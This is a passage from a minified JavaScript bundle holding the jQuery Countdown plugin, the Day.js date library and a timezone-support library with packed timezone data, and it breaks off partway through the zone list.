 * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
 * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
 * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
 * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */
!function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):a(jQuery)}(function(a){"use strict";function b(a){if(a instanceof Date)return a;if(String(a).match(g))return String(a).match(/^[0-9]*$/)&&(a=Number(a)),String(a).match(/\-/)&&(a=String(a).replace(/\-/g,"/")),new Date(a);throw new Error("Couldn't cast `"+a+"` to a date object.")}function c(a){var b=a.toString().replace(/([.?*+^$[\]\\(){}|-])/g,"\\$1");return new RegExp(b)}function d(a){return function(b){var d=b.match(/%(-|!)?[A-Z]{1}(:[^;]+;)?/gi);if(d)for(var f=0,g=d.length;f<g;++f){var h=d[f].match(/%(-|!)?([a-zA-Z]{1})(:[^;]+;)?/),j=c(h[0]),k=h[1]||"",l=h[3]||"",m=null;h=h[2],i.hasOwnProperty(h)&&(m=i[h],m=Number(a[m])),null!==m&&("!"===k&&(m=e(l,m)),""===k&&m<10&&(m="0"+m.toString()),b=b.replace(j,m.toString()))}return b=b.replace(/%%/,"%")}}function e(a,b){var c="s",d="";return a&&(a=a.replace(/(:|;|\s)/gi,"").split(/\,/),1===a.length?c=a[0]:(d=a[0],c=a[1])),Math.abs(b)>1?c:d}var f=[],g=[],h={precision:100,elapse:!1,defer:!1};g.push(/^[0-9]*$/.source),g.push(/([0-9]{1,2}\/){2}[0-9]{4}( [0-9]{1,2}(:[0-9]{2}){2})?/.source),g.push(/[0-9]{4}([\/\-][0-9]{1,2}){2}( [0-9]{1,2}(:[0-9]{2}){2})?/.source),g=new RegExp(g.join("|"));var i={Y:"years",m:"months",n:"daysToMonth",d:"daysToWeek",w:"weeks",W:"weeksToMonth",H:"hours",M:"minutes",S:"seconds",D:"totalDays",I:"totalHours",N:"totalMinutes",T:"totalSeconds"},j=function(b,c,d){this.el=b,this.$el=a(b),this.interval=null,this.offset={},this.options=a.extend({},h),this.firstTick=!0,this.instanceNumber=f.length,f.push(this),this.$el.data("countdown-instance",this.instanceNumber),d&&("function"==typeof d?(this.$el.on("update.countdown",d),this.$el.on("stoped.countdown",d),this.$el.on("finish.countdown",d)):this.options=a.extend({},h,d)),this.setFinalDate(c),this.options.defer===!1&&this.start()};a.extend(j.prototype,{start:function(){null!==this.interval&&clearInterval(this.interval);var a=this;this.update(),this.interval=setInterval(function(){a.update.call(a)},this.options.precision)},stop:function(){clearInterval(this.interval),this.interval=null,this.dispatchEvent("stoped")},toggle:function(){this.interval?this.stop():this.start()},pause:function(){this.stop()},resume:function(){this.start()},remove:function(){this.stop.call(this),f[this.instanceNumber]=null,delete this.$el.data().countdownInstance},setFinalDate:function(a){this.finalDate=b(a)},update:function(){if(0===this.$el.closest("html").length)return void this.remove();var a,b=new Date;return a=this.finalDate.getTime()-b.getTime(),a=Math.ceil(a/1e3),a=!this.options.elapse&&a<0?0:Math.abs(a),this.totalSecsLeft===a||this.firstTick?void(this.firstTick=!1):(this.totalSecsLeft=a,this.elapsed=b>=this.finalDate,this.offset={seconds:this.totalSecsLeft%60,minutes:Math.floor(this.totalSecsLeft/60)%60,hours:Math.floor(this.totalSecsLeft/60/60)%24,days:Math.floor(this.totalSecsLeft/60/60/24)%7,daysToWeek:Math.floor(this.totalSecsLeft/60/60/24)%7,daysToMonth:Math.floor(this.totalSecsLeft/60/60/24%30.4368),weeks:Math.floor(this.totalSecsLeft/60/60/24/7),weeksToMonth:Math.floor(this.totalSecsLeft/60/60/24/7)%4,months:Math.floor(this.totalSecsLeft/60/60/24/30.4368),years:Math.abs(this.finalDate.getFullYear()-b.getFullYear()),totalDays:Math.floor(this.totalSecsLeft/60/60/24),totalHours:Math.floor(this.totalSecsLeft/60/60),totalMinutes:Math.floor(this.totalSecsLeft/60),totalSeconds:this.totalSecsLeft},void(this.options.elapse||0!==this.totalSecsLeft?this.dispatchEvent("update"):(this.stop(),this.dispatchEvent("finish"))))},dispatchEvent:function(b){var c=a.Event(b+".countdown");c.finalDate=this.finalDate,c.elapsed=this.elapsed,c.offset=a.extend({},this.offset),c.strftime=d(this.offset),this.$el.trigger(c)}}),a.fn.countdown=function(){var b=Array.prototype.slice.call(arguments,0);return this.each(function(){var c=a(this).data("countdown-instance");if(void 0!==c){var d=f[c],e=b[0];j.prototype.hasOwnProperty(e)?d[e].apply(d,b.slice(1)):null===String(e).match(/^[$A-Z_][0-9A-Z_$]*$/i)?(d.setFinalDate.call(d,e),d.start()):a.error("Method %s does not exist on jQuery.countdown".replace(/\%s/gi,e))}else new j(this,b[0],b[1])})}});
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):t.dayjs=e()}(this,function(){"use strict";var t="millisecond",e="second",n="minute",r="hour",i="day",s="week",u="month",a="quarter",o="year",f="date",h=/^(\d{4})[-/]?(\d{1,2})?[-/]?(\d{0,2})[^0-9]*(\d{1,2})?:?(\d{1,2})?:?(\d{1,2})?.?(\d+)?$/,c=/\[([^\]]+)]|Y{2,4}|M{1,4}|D{1,2}|d{1,4}|H{1,2}|h{1,2}|a|A|m{1,2}|s{1,2}|Z{1,2}|SSS/g,d={name:"en",weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_")},$=function(t,e,n){var r=String(t);return!r||r.length>=e?t:""+Array(e+1-r.length).join(n)+t},l={s:$,z:function(t){var e=-t.utcOffset(),n=Math.abs(e),r=Math.floor(n/60),i=n%60;return(e<=0?"+":"-")+$(r,2,"0")+":"+$(i,2,"0")},m:function t(e,n){if(e.date()<n.date())return-t(n,e);var r=12*(n.year()-e.year())+(n.month()-e.month()),i=e.clone().add(r,u),s=n-i<0,a=e.clone().add(r+(s?-1:1),u);return+(-(r+(n-i)/(s?i-a:a-i))||0)},a:function(t){return t<0?Math.ceil(t)||0:Math.floor(t)},p:function(h){return{M:u,y:o,w:s,d:i,D:f,h:r,m:n,s:e,ms:t,Q:a}[h]||String(h||"").toLowerCase().replace(/s$/,"")},u:function(t){return void 0===t}},y="en",M={};M[y]=d;var m=function(t){return t instanceof S},D=function(t,e,n){var r;if(!t)return y;if("string"==typeof t)M[t]&&(r=t),e&&(M[t]=e,r=t);else{var i=t.name;M[i]=t,r=i}return!n&&r&&(y=r),r||!n&&y},v=function(t,e){if(m(t))return t.clone();var n="object"==typeof e?e:{};return n.date=t,n.args=arguments,new S(n)},g=l;g.l=D,g.i=m,g.w=function(t,e){return v(t,{locale:e.$L,utc:e.$u,x:e.$x,$offset:e.$offset})};var S=function(){function d(t){this.$L=D(t.locale,null,!0),this.parse(t)}var $=d.prototype;return $.parse=function(t){this.$d=function(t){var e=t.date,n=t.utc;if(null===e)return new Date(NaN);if(g.u(e))return new Date;if(e instanceof Date)return new Date(e);if("string"==typeof e&&!/Z$/i.test(e)){var r=e.match(h);if(r){var i=r[2]-1||0,s=(r[7]||"0").substring(0,3);return n?new Date(Date.UTC(r[1],i,r[3]||1,r[4]||0,r[5]||0,r[6]||0,s)):new Date(r[1],i,r[3]||1,r[4]||0,r[5]||0,r[6]||0,s)}}return new Date(e)}(t),this.$x=t.x||{},this.init()},$.init=function(){var t=this.$d;this.$y=t.getFullYear(),this.$M=t.getMonth(),this.$D=t.getDate(),this.$W=t.getDay(),this.$H=t.getHours(),this.$m=t.getMinutes(),this.$s=t.getSeconds(),this.$ms=t.getMilliseconds()},$.$utils=function(){return g},$.isValid=function(){return!("Invalid Date"===this.$d.toString())},$.isSame=function(t,e){var n=v(t);return this.startOf(e)<=n&&n<=this.endOf(e)},$.isAfter=function(t,e){return v(t)<this.startOf(e)},$.isBefore=function(t,e){return this.endOf(e)<v(t)},$.$g=function(t,e,n){return g.u(t)?this[e]:this.set(n,t)},$.unix=function(){return Math.floor(this.valueOf()/1e3)},$.valueOf=function(){return this.$d.getTime()},$.startOf=function(t,a){var h=this,c=!!g.u(a)||a,d=g.p(t),$=function(t,e){var n=g.w(h.$u?Date.UTC(h.$y,e,t):new Date(h.$y,e,t),h);return c?n:n.endOf(i)},l=function(t,e){return g.w(h.toDate()[t].apply(h.toDate("s"),(c?[0,0,0,0]:[23,59,59,999]).slice(e)),h)},y=this.$W,M=this.$M,m=this.$D,D="set"+(this.$u?"UTC":"");switch(d){case o:return c?$(1,0):$(31,11);case u:return c?$(1,M):$(0,M+1);case s:var v=this.$locale().weekStart||0,S=(y<v?y+7:y)-v;return $(c?m-S:m+(6-S),M);case i:case f:return l(D+"Hours",0);case r:return l(D+"Minutes",1);case n:return l(D+"Seconds",2);case e:return l(D+"Milliseconds",3);default:return this.clone()}},$.endOf=function(t){return this.startOf(t,!1)},$.$set=function(s,a){var h,c=g.p(s),d="set"+(this.$u?"UTC":""),$=(h={},h[i]=d+"Date",h[f]=d+"Date",h[u]=d+"Month",h[o]=d+"FullYear",h[r]=d+"Hours",h[n]=d+"Minutes",h[e]=d+"Seconds",h[t]=d+"Milliseconds",h)[c],l=c===i?this.$D+(a-this.$W):a;if(c===u||c===o){var y=this.clone().set(f,1);y.$d[$](l),y.init(),this.$d=y.set(f,Math.min(this.$D,y.daysInMonth())).$d}else $&&this.$d[$](l);return this.init(),this},$.set=function(t,e){return this.clone().$set(t,e)},$.get=function(t){return this[g.p(t)]()},$.add=function(t,a){var f,h=this;t=Number(t);var c=g.p(a),d=function(e){var n=v(h);return g.w(n.date(n.date()+Math.round(e*t)),h)};if(c===u)return this.set(u,this.$M+t);if(c===o)return this.set(o,this.$y+t);if(c===i)return d(1);if(c===s)return d(7);var $=(f={},f[n]=6e4,f[r]=36e5,f[e]=1e3,f)[c]||1,l=this.$d.getTime()+t*$;return g.w(l,this)},$.subtract=function(t,e){return this.add(-1*t,e)},$.format=function(t){var e=this;if(!this.isValid())return"Invalid Date";var n=t||"YYYY-MM-DDTHH:mm:ssZ",r=g.z(this),i=this.$locale(),s=this.$H,u=this.$m,a=this.$M,o=i.weekdays,f=i.months,h=function(t,r,i,s){return t&&(t[r]||t(e,n))||i[r].substr(0,s)},d=function(t){return g.s(s%12||12,t,"0")},$=i.meridiem||function(t,e,n){var r=t<12?"AM":"PM";return n?r.toLowerCase():r},l={YY:String(this.$y).slice(-2),YYYY:this.$y,M:a+1,MM:g.s(a+1,2,"0"),MMM:h(i.monthsShort,a,f,3),MMMM:h(f,a),D:this.$D,DD:g.s(this.$D,2,"0"),d:String(this.$W),dd:h(i.weekdaysMin,this.$W,o,2),ddd:h(i.weekdaysShort,this.$W,o,3),dddd:o[this.$W],H:String(s),HH:g.s(s,2,"0"),h:d(1),hh:d(2),a:$(s,u,!0),A:$(s,u,!1),m:String(u),mm:g.s(u,2,"0"),s:String(this.$s),ss:g.s(this.$s,2,"0"),SSS:g.s(this.$ms,3,"0"),Z:r};return n.replace(c,function(t,e){return e||l[t]||r.replace(":","")})},$.utcOffset=function(){return 15*-Math.round(this.$d.getTimezoneOffset()/15)},$.diff=function(t,f,h){var c,d=g.p(f),$=v(t),l=6e4*($.utcOffset()-this.utcOffset()),y=this-$,M=g.m(this,$);return M=(c={},c[o]=M/12,c[u]=M,c[a]=M/3,c[s]=(y-l)/6048e5,c[i]=(y-l)/864e5,c[r]=y/36e5,c[n]=y/6e4,c[e]=y/1e3,c)[d]||y,h?M:g.a(M)},$.daysInMonth=function(){return this.endOf(u).$D},$.$locale=function(){return M[this.$L]},$.locale=function(t,e){if(!t)return this.$L;var n=this.clone(),r=D(t,e,!0);return r&&(n.$L=r),n},$.clone=function(){return g.w(this.$d,this)},$.toDate=function(){return new Date(this.valueOf())},$.toJSON=function(){return this.isValid()?this.toISOString():null},$.toISOString=function(){return this.$d.toISOString()},$.toString=function(){return this.$d.toUTCString()},d}(),p=S.prototype;return v.prototype=p,[["$ms",t],["$s",e],["$m",n],["$H",r],["$W",i],["$M",u],["$y",o],["$D",f]].forEach(function(t){p[t[1]]=function(e){return this.$g(e,t[0],t[1])}}),v.extend=function(t,e){return t(e,S,v),v},v.locale=D,v.isDayjs=m,v.unix=function(t){return v(1e3*t)},v.en=M[y],v.Ls=M,v.p={},v});

!function(a,i){"object"==typeof exports&&"undefined"!=typeof module?i(exports):"function"==typeof define&&define.amd?define(["exports"],i):i((a=a||self).timezoneSupport={})}(this,function(a){"use strict";function l(a){return 96<a?a-87:64<a?a-29:a-48}function r(a){var i=a.split("."),e=i[0],r=i[1]||"",A=1,c=0,o=0,n=1;45===a.charCodeAt(0)&&(n=-(c=1));for(var t=c,s=e.length;t<s;++t){o=60*o+l(e.charCodeAt(t))}for(var u=0,m=r.length;u<m;++u){o+=l(r.charCodeAt(u))*(A/=60)}return o*n}function t(a){for(var i=0,e=a.length;i<e;++i)a[i]=r(a[i])}function s(a,i){for(var e=[],r=0,A=i.length;r<A;++r)e[r]=a[i[r]];return e}function A(a){var i=a.split("|"),e=i[2].split(" "),r=i[3].split(""),A=i[4].split(" ");t(e),t(r),t(A),function(a,i){for(var e=0;e<i;++e)a[e]=Math.round((a[e-1]||0)+6e4*a[e]);a[i-1]=1/0}(A,r.length);var c=i[0],o=s(i[1].split(" "),r),n=0|i[5];return{name:c,abbreviations:o,offsets:e=s(e,r),untils:A,population:n}}var c,i,o,n;function d(a){var i=a.year,e=a.month,r=a.day,A=a.hours,c=void 0===A?0:A,o=a.minutes,n=void 0===o?0:o,t=a.seconds,s=void 0===t?0:t,u=a.milliseconds,m=void 0===u?0:u;return Date.UTC(i,e-1,r,c,n,s,m)}function E(a){return{year:a.getUTCFullYear(),month:a.getUTCMonth()+1,day:a.getUTCDate(),dayOfWeek:a.getUTCDay(),hours:a.getUTCHours(),minutes:a.getUTCMinutes(),seconds:a.getUTCSeconds()||0,milliseconds:a.getUTCMilliseconds()||0}}function h(a){return{year:a.getFullYear(),month:a.getMonth()+1,day:a.getDate(),dayOfWeek:a.getDay(),hours:a.getHours(),minutes:a.getMinutes(),seconds:a.getSeconds()||0,milliseconds:a.getMilliseconds()||0}}function T(a,i){var e=function(a,i){for(var e=i.untils,r=0,A=e.length;r<A;++r)if(a<e[r])return r}(a,i);return{abbreviation:i.abbreviations[e],offset:i.offsets[e]}}function z(a,i){Object.defineProperty(a,"epoch",{value:i})}var e,u,m;u=(e={version:"2019a",zones:["Africa/Abidjan|GMT|0|0||48e5","Africa/Nairobi|EAT|-30|0||47e5","Africa/Algiers|CET|-10|0||26e5","Africa/Lagos|WAT|-10|0||17e6","Africa/Maputo|CAT|-20|0||26e5","Africa/Cairo|EET EEST|-20 -30|01010|1M2m0 gL0 e10 mn0|15e6","Africa/Casablanca|+00 +01|0 -10|010101010101010101010101010101010101|1H3C0 wM0 co0 go0 1o00 s00 dA0 vc0 11A0 A00 e00 y00 11A0 uM0 e00 Dc0 11A0 s00 e00 IM0 WM0 mo0 gM0 LA0 WM0 jA0 e00 28M0 e00 2600 e00 28M0 e00 2600 gM0|32e5","Europe/Paris|CET CEST|-10 -20|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|11e6","Africa/Johannesburg|SAST|-20|0||84e5","Africa/Khartoum|EAT CAT|-30 -20|01|1Usl0|51e5","Africa/Sao_Tome|GMT WAT|0 -10|010|1UQN0 2q00","Africa/Tripoli|EET CET CEST|-20 -10 -20|0120|1IlA0 TA0 1o00|11e5","Africa/Windhoek|CAT WAT|-20 -10|0101010101010|1GQo0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0|32e4","America/Adak|HST HDT|a0 90|01010101010101010101010|1GIc0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|326","America/Anchorage|AKST AKDT|90 80|01010101010101010101010|1GIb0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|30e4","America/Santo_Domingo|AST|40|0||29e5","America/Araguaina|-03 -02|30 20|010|1IdD0 Lz0|14e4","America/Fortaleza|-03|30|0||34e5","America/Asuncion|-03 -04|30 40|01010101010101010101010|1GTf0 1cN0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0|28e5","America/Panama|EST|50|0||15e5","America/Mexico_City|CST CDT|60 50|01010101010101010101010|1GQw0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0|20e6","America/Bahia|-02 -03|20 30|01|1GCq0|27e5","America/Managua|CST|60|0||22e5","America/La_Paz|-04|40|0||19e5","America/Lima|-05|50|0||11e6","America/Denver|MST MDT|70 60|01010101010101010101010|1GI90 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|26e5","America/Campo_Grande|-03 -04|30 40|01010101010101010101010|1GCr0 1zd0 Lz0 1C10 Lz0 1C10 On0 1zd0 On0 1zd0 On0 1zd0 On0 1HB0 FX0 1HB0 FX0 1HB0 IL0 1HB0 FX0 1HB0|77e4","America/Cancun|CST CDT EST|60 50 50|01010102|1GQw0 1nX0 14p0 1lb0 14p0 1lb0 Dd0|63e4","America/Caracas|-0430 -04|4u 40|01|1QMT0|29e5","America/Chicago|CST CDT|60 50|01010101010101010101010|1GI80 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|92e5","America/Chihuahua|MST MDT|70 60|01010101010101010101010|1GQx0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0|81e4","America/Phoenix|MST|70|0||42e5","America/Los_Angeles|PST PDT|80 70|01010101010101010101010|1GIa0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|15e6","America/New_York|EST EDT|50 40|01010101010101010101010|1GI70 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|21e6","America/Rio_Branco|-04 -05|40 50|01|1KLE0|31e4","America/Fort_Nelson|PST PDT MST|80 70 70|01010102|1GIa0 1zb0 Op0 1zb0 Op0 1zb0 Op0|39e2","America/Halifax|AST ADT|40 30|01010101010101010101010|1GI60 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|39e4","America/Godthab|-03 -02|30 20|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|17e3","America/Grand_Turk|EST EDT AST|50 40 40|0101010121010101010|1GI70 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 5Ip0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|37e2","America/Havana|CST CDT|50 40|01010101010101010101010|1GQt0 1qM0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0|21e5","America/Metlakatla|PST AKST AKDT|80 90 80|01212120121212121|1PAa0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 uM0 jB0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|14e2","America/Miquelon|-03 -02|30 20|01010101010101010101010|1GI50 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|61e2","America/Montevideo|-02 -03|20 30|01010101|1GI40 1o10 11z0 1o10 11z0 1o10 11z0|17e5","America/Noronha|-02|20|0||30e2","America/Port-au-Prince|EST EDT|50 40|010101010101010101010|1GI70 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 3iN0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|23e5","Antarctica/Palmer|-03 -04|30 40|010101010|1H3D0 Op0 1zb0 Rd0 1wn0 Rd0 46n0 Ap0|40","America/Santiago|-03 -04|30 40|010101010101010101010|1H3D0 Op0 1zb0 Rd0 1wn0 Rd0 46n0 Ap0 1Nb0 Ap0 1Nb0 Ap0 1zb0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0|62e5","America/Sao_Paulo|-02 -03|20 30|01010101010101010101010|1GCq0 1zd0 Lz0 1C10 Lz0 1C10 On0 1zd0 On0 1zd0 On0 1zd0 On0 1HB0 FX0 1HB0 FX0 1HB0 IL0 1HB0 FX0 1HB0|20e6","Atlantic/Azores|-01 +00|10 0|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|25e4","America/St_Johns|NST NDT|3u 2u|01010101010101010101010|1GI5u 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|11e4","Antarctica/Casey|+11 +08|-b0 -80|0101|1GAF0 blz0 3m10|10","Antarctica/Davis|+05 +07|-50 -70|01|1GAI0|70","Pacific/Port_Moresby|+10|-a0|0||25e4","Pacific/Guadalcanal|+11|-b0|0||11e4","Asia/Tashkent|+05|-50|0||23e5","Pacific/Auckland|NZDT NZST|-d0 -c0|01010101010101010101010|1GQe0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00|14e5","Asia/Baghdad|+03|-30|0||66e5","Antarctica/Troll|+00 +02|0 -20|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|40","Asia/Dhaka|+06|-60|0||16e6","Asia/Amman|EET EEST|-20 -30|010101010101010101010|1GPy0 4bX0 Dd0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 11A0 1o00|25e5","Asia/Kamchatka|+12|-c0|0||18e4","Asia/Baku|+04 +05|-40 -50|010101010|1GNA0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|27e5","Asia/Bangkok|+07|-70|0||15e6","Asia/Barnaul|+07 +06|-70 -60|010|1N7v0 3rd0","Asia/Beirut|EET EEST|-20 -30|01010101010101010101010|1GNy0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0|22e5","Asia/Kuala_Lumpur|+08|-80|0||71e5","Asia/Kolkata|IST|-5u|0||15e6","Asia/Chita|+10 +08 +09|-a0 -80 -90|012|1N7s0 3re0|33e4","Asia/Ulaanbaatar|+08 +09|-80 -90|01010|1O8G0 1cJ0 1cP0 1cJ0|12e5","Asia/Shanghai|CST|-80|0||23e6","Asia/Colombo|+0530|-5u|0||22e5","Asia/Damascus|EET EEST|-20 -30|01010101010101010101010|1GPy0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0|26e5","Asia/Dili|+09|-90|0||19e4","Asia/Dubai|+04|-40|0||39e5","Asia/Famagusta|EET EEST +03|-20 -30 -30|0101010101201010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 15U0 2Ks0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0","Asia/Gaza|EET EEST|-20 -30|01010101010101010101010|1GPy0 1a00 1fA0 1cL0 1cN0 1nX0 1210 1nz0 1220 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0|18e5","Asia/Hong_Kong|HKT|-80|0||73e5","Asia/Hovd|+07 +08|-70 -80|01010|1O8H0 1cJ0 1cP0 1cJ0|81e3","Asia/Irkutsk|+09 +08|-90 -80|01|1N7t0|60e4","Europe/Istanbul|EET EEST +03|-20 -30 -30|01010101012|1GNB0 1qM0 11A0 1o00 1200 1nA0 11A0 1tA0 U00 15w0|13e6","Asia/Jakarta|WIB|-70|0||31e6","Asia/Jayapura|WIT|-90|0||26e4","Asia/Jerusalem|IST IDT|-20 -30|01010101010101010101010|1GPA0 1aL0 1eN0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0|81e4","Asia/Kabul|+0430|-4u|0||46e5","Asia/Karachi|PKT|-50|0||24e6","Asia/Kathmandu|+0545|-5J|0||12e5","Asia/Yakutsk|+10 +09|-a0 -90|01|1N7s0|28e4","Asia/Krasnoyarsk|+08 +07|-80 -70|01|1N7u0|10e5","Asia/Magadan|+12 +10 +11|-c0 -a0 -b0|012|1N7q0 3Cq0|95e3","Asia/Makassar|WITA|-80|0||15e5","Asia/Manila|PST|-80|0||24e6","Europe/Athens|EET EEST|-20 -30|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|35e5","Asia/Novosibirsk|+07 +06|-70 -60|010|1N7v0 4eN0|15e5","Asia/Omsk|+07 +06|-70 -60|01|1N7v0|12e5","Asia/Pyongyang|KST KST|-90 -8u|010|1P4D0 6BA0|29e5","Asia/Qyzylorda|+06 +05|-60 -50|01|1Xei0|73e4","Asia/Rangoon|+0630|-6u|0||48e5","Asia/Sakhalin|+11 +10|-b0 -a0|010|1N7r0 3rd0|58e4","Asia/Seoul|KST|-90|0||23e6","Asia/Srednekolymsk|+12 +11|-c0 -b0|01|1N7q0|35e2","Asia/Tehran|+0330 +0430|-3u -4u|01010101010101010101010|1GLUu 1dz0 1cN0 1dz0 1cp0 1dz0 1cp0 1dz0 1cp0 1dz0 1cN0 1dz0 1cp0 1dz0 1cp0 1dz0 1cp0 1dz0 1cN0 1dz0 1cp0 1dz0|14e6","Asia/Tokyo|JST|-90|0||38e6","Asia/Tomsk|+07 +06|-70 -60|010|1N7v0 3Qp0|10e5","Asia/Vladivostok|+11 +10|-b0 -a0|01|1N7r0|60e4","Asia/Yekaterinburg|+06 +05|-60 -50|01|1N7w0|14e5","Europe/Lisbon|WET WEST|0 -10|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|27e5","Atlantic/Cape_Verde|-01|10|0||50e4","Australia/Sydney|AEDT AEST|-b0 -a0|01010101010101010101010|1GQg0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0|40e5","Australia/Adelaide|ACDT ACST|-au -9u|01010101010101010101010|1GQgu 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0|11e5","Australia/Brisbane|AEST|-a0|0||20e5","Australia/Darwin|ACST|-9u|0||12e4","Australia/Eucla|+0845|-8J|0||368","Australia/Lord_Howe|+11 +1030|-b0 -au|01010101010101010101010|1GQf0 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu|347","Australia/Perth|AWST|-80|0||18e5","Pacific/Easter|-05 -06|50 60|010101010101010101010|1H3D0 Op0 1zb0 Rd0 1wn0 Rd0 46n0 Ap0 1Nb0 Ap0 1Nb0 Ap0 1zb0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0|30e2","Europe/Dublin|GMT IST|0 -10|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 